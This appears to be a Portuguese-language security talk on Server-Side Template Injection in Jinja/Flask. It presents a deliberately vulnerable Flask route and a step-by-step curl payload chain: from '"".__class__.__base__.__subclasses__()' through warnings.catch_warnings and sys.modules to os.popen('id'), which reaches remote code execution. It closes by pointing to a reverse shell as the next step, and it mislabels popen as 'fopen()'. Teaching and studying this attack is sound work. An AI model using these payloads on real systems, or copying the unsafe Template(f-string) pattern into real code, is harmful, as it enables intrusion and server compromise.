```
{{"ssti".upper()}}
```

SSTI, Jinja e {{}}

Bem vindos a 2018, e a treta das *template engines* em diversas *stacks* viviam seu momento de ouro, ao menos na perspectiva dos atacantes.

Agenda

- `whoami` ;
- Só o Jinja;
- Uma app vulnerável;
- O template;
- Como *pwnar*; e
- Conclusão.

whoami

Sou Jojo, *dev* .NET de uns bons anos de história, a uns anos focando mais energias no Rust, e devagarinho deixando o Python. Atualmente trabalho com segurança da informação como consultor sênior na Passwd. Nos tempos livres tento colaborar com a cena FOSS.

- `github.com/6a6f6a6f`;
- `linkedin.com/in/6a6f6a6f`;
- `exception.blog`

Só o Jinja

Definitivamente não, mas popularmente sim. Acontece que dentro da cena de *bounty* na época, e também os casos onde rolou um comprometimento de algo muito severo, ocorreu por meio de uma exploração SSTI dentro do Flask, ou qualquer outro framework em Python que por de trás dos panos implemente o Jinja.

Caso não conheça o Jinja, ele funciona de maneira similar ao Razor, Twig, Jade e por aí vai. No geral o Jinja tem a mesma aceitação dentro da *stack* de desenvolvimento, quando compara o Razor ao `ASP.NET`, devido a similaridade da sintaxe das linguagens de origem.

Uma app vulnerável

Consideremos que já exista os `import` sendo realizado da maneira correta, temos o SSTI ocorrendo através da exploração do parâmetro `name` na rota `/`:

```
@app.route('/')
def index():
    name = request.args.get('name')
    if not name:
        return 'Hey, what is your name?', 400
    t = Template(f'<h1>Yo! Hello, {name}!</h1>')
    return t.render()
```

O template

Antes de abaixar o nível, vamos ver como a aplicação se comporta contra uma requisição maliciosa:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"ssti".upper()}}'
<h1>Yo! Hello, SSTI!</h1>
```

Voilà, a função `upper()` é interpretada, e executada através do padrão `{{PATTERN}}`, sendo essa utilizada para apresentar o conteúdo de uma variável ou resultado de uma função, diferente do `{% EXPRESSION %}`.

Como *pwnar*, parte I

Python carrega consigo fundamentos da orientação a objetos, e uma dessas características herdadas é o polimorfismo, onde existem heranças entre entidades correlacionais, por exemplo, entre um objeto pai e outro filho.

A fim de encontrar os *gadgets* adequados à exploração do SSTI, visando escalar o ataque para um RCE, é necessário explorar tanto a sintaxe da linguagem do Jinja, quanto às características que são bem similares ao conceito de orientação a objetos empregado no Python.

`{{"ssti".upper()}}`

Como *pwnar*, parte II

É possível enumerar uma série de informações sensíveis da aplicação enumerando quais objetos estão disponíveis para serem explorados:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__}}'
<h1>Yo! Hello, <class 'str'>!</h1>
```

Como temos a sua `__base__`, podemos percorrer quais são os outros objetos que estão disponíveis como *gadgets* dentro do contexto de execução, tentando encontrar, por exemplo, alguma forma de executar um `os.system('uname')`.

Como *pwnar*, parte III

Voltando a falar sobre o que temos de bom dentro da `__base__` de um `str`:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()}}'
<h1>Yo! Hello, <class 'str'>!</h1><h1>Yo! Hello, [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>,
<class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, ...
```

Nesse ponto, precisamos procurar por alguma das classes que carregam consigo alguma forma de conseguir um RCE, por exemplo, procurando por uma referência ao módulo `sys`. Podemos encontrá-la nessa aplicação em específico no índice 139.

Como *pwnar*, parte IV

Podemos validar que o módulo `sys` é referenciado no objeto `warnings.catch_warnings` consultando seu código fonte. E também, para ter assertividade quanto ao índice escolhido, podemos realizar uma validação:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()[139]}}'
<h1>Yo! Hello, <class 'warnings.catch_warnings'>!</h1>
```

Utilizando a função `__init__` podemos inicializar o construtor, e na sequência enumerar as funções que permeam a classe:

Como *pwnar*, parte V

Temos a função em algum lugar da memória:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()[139].__init__}}'
<h1>Yo! Hello, <function catch_warnings.__init__ at 0x7fb6b5094af0>!</h1>
```

E por fim, podemos enumerar os módulos disponíveis:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()[139].__init__.__globals__}}'
{'__name__': 'warnings', '__doc__': 'Python part of the warnings subsystem.', '__package__': '', ...
```

Como temos um `dict`, podemos consumir as funções pelos seus literais.

Como *pwnar*, parte VI

Finalmente, podemos chegar até `sys`, e ter acesso ao módulo `os`, e finalmente atingir o RCE:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()[139].__init__.__globals__["sys"].modules}}'
<h1>Yo! Hello, {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module 'importlib._bootstrap' (frozen)>, ...
```

Novamente um `dict`, onde precisamos apenas informar a chave que desejamos, no caso, `os`:

```
$ curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()[139].__init__.__globals__["sys"].modules["os"]}}'
<h1>Yo! Hello, <module 'os' from '/usr/lib/python3.8/os.py'>!</h1>
```

Como *pwnar*, parte VII

E finalmente, podemos consumir a função `fopen()`, encadeada com `read()`, e termos um RCE adequado e confiável, com o gadget na posição exata, e também, exclusiva, para essa aplicação vulnerável:

```
curl -G 'http://localhost:5000/' -d 'name={{"".__class__.__base__.__subclasses__()[139].__init__.__globals__["sys"].modules["os"].popen("id").read()}}'
<h1>Yo! Hello, uid=1000(jojo) gid=1000(jojo) groups=1000(jojo)
```

Agora basta comprometer a aplicação com uma *shell* reversa!

> **Nota**: Utilizar essa *chain* para conseguir RCE tem suas limitações, por conta da própria `fopen()`.

Conclusão

Agora voltamos para 2021, e ainda existem milhares de aplicações vulneráveis ao mesmo vetor de ataque. Em 2019 o Java andou na mesma roda do SSTI com uma vulnerabilidade bem treta no Jira, e assim temos anualmente alguma aplicação ou outra de grande porte que apresenta alguma inconsistência em sua *template engine*.

Ah! O conteúdo ficará disponível em meu GitHub, e gostaria também, de deixar como *to-do*, que o leitor encontre outros *gadgets* e formas de conseguir RCE, *file reading/writing* utilizando SSTI, bem como maneiras efetivas de detectar e corrigir essa vulnerabilidade em sua base de código.